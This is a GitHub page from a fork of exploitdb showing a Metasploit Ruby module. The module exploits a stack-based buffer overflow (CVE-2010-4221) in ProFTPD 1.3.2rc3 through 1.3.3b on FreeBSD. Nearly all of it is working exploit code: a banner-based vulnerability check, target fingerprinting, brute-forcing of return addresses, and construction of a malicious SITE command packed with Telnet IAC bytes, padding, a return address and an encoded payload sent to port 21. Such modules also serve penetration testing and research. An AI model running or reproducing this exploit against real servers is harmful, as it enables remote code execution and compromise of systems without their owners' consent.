forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path16878.rb
More file actions
executable file
·217 lines (185 loc) · 4.88 KB
/
Copy path16878.rb
File metadata and controls
executable file
·217 lines (185 loc) · 4.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
##
# $Id: proftp_telnet_iac.rb 11208 2010-12-02 21:10:03Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
'Description' => %q{
This module exploits a stack-based buffer overflow in versions of ProFTPD
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
large number of Telnet IAC commands, an attacker can corrupt memory and
execute arbitrary code.
},
'Author' => [ 'jduck' ],
'Version' => '$Revision: 11208 $',
'References' =>
[
['CVE', '2010-4221'],
['OSVDB', '68985'],
['BID', '44562']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
'BadChars' => "\x00\x0a\x0d",
'PrependEncoder' => "\x83\xec\x7f", # sub esp,0x7f (fix esp)
},
'Platform' => [ 'bsd' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# This special one comes first since we dont want its index changing.
#
[ 'Debug',
{
'IACCount' => 8192, # should cause crash writing off end of stack
'Offset' => 0,
'Ret' => 0x41414242,
'Writable' => 0x43434545
}
],
#
# specific targets
#
[ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
{
'IACCount' => 1024,
'Offset' => 0x414,
#'Ret' => 0xbfbfeac4,
'Writable' => 0x80e64a4,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbfbffdfc },
'Stop' => { 'Ret' => 0xbfa00000 },
'Step' => 512
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 1 2010'))
register_options(
[
Opt::RPORT(21),
], self.class )
end
def check
# NOTE: We don't care if the login failed here...
ret = connect
# We just want the banner to check against our targets..
print_status("FTP Banner: #{banner.strip}")
status = CheckCode::Safe
if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
ver = $1
maj,min,rel = ver.split('.')
relv = rel.slice!(0,1)
case relv
when '2'
if rel.length > 0
if rel[0,2] == 'rc'
if rel[2,rel.length].to_i >= 3
status = CheckCode::Vulnerable
end
else
status = CheckCode::Vulnerable
end
end
when '3'
# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
status = CheckCode::Vulnerable
if rel.length > 0
if rel[0,2] != 'rc' and rel[0,1] > 'b'
status = CheckCode::Safe
end
end
end
end
disconnect
return status
end
def target
return @mytarget if @mytarget
super
end
def exploit
connect
# Use a copy of the target
@mytarget = target
if (target['auto'])
@mytarget = nil
print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
raise RuntimeError, "No matching target"
end
regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
@mytarget = t
break
end
end
if (not @mytarget)
raise RuntimeError, "No matching target"
end
print_status("Selected Target: #{@mytarget.name}")
pl = exploit_regenerate_payload(@mytarget.platform, arch)
if not pl
raise RuntimeError, 'Unable to regenerate payload!'
end
else
print_status("Trying target #{@mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
pl = payload
end
disconnect
super
end
def brute_exploit(addrs)
@mytarget ||= target
ret = addrs['Ret']
print_status("Trying return address 0x%.8x..." % ret)
#puts "attach and press any key"; bleh = $stdin.gets
buf = ''
buf << 'SITE '
# NOTE: buf must be odd-lengthed prior to here.
buf << "\xff" * @mytarget['IACCount']
buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)
buf << [
ret,
@mytarget['Writable']
].pack('V*')
buf << payload.encoded
buf << "\r\n"
connect
sock.put(buf)
disconnect
handler
end
end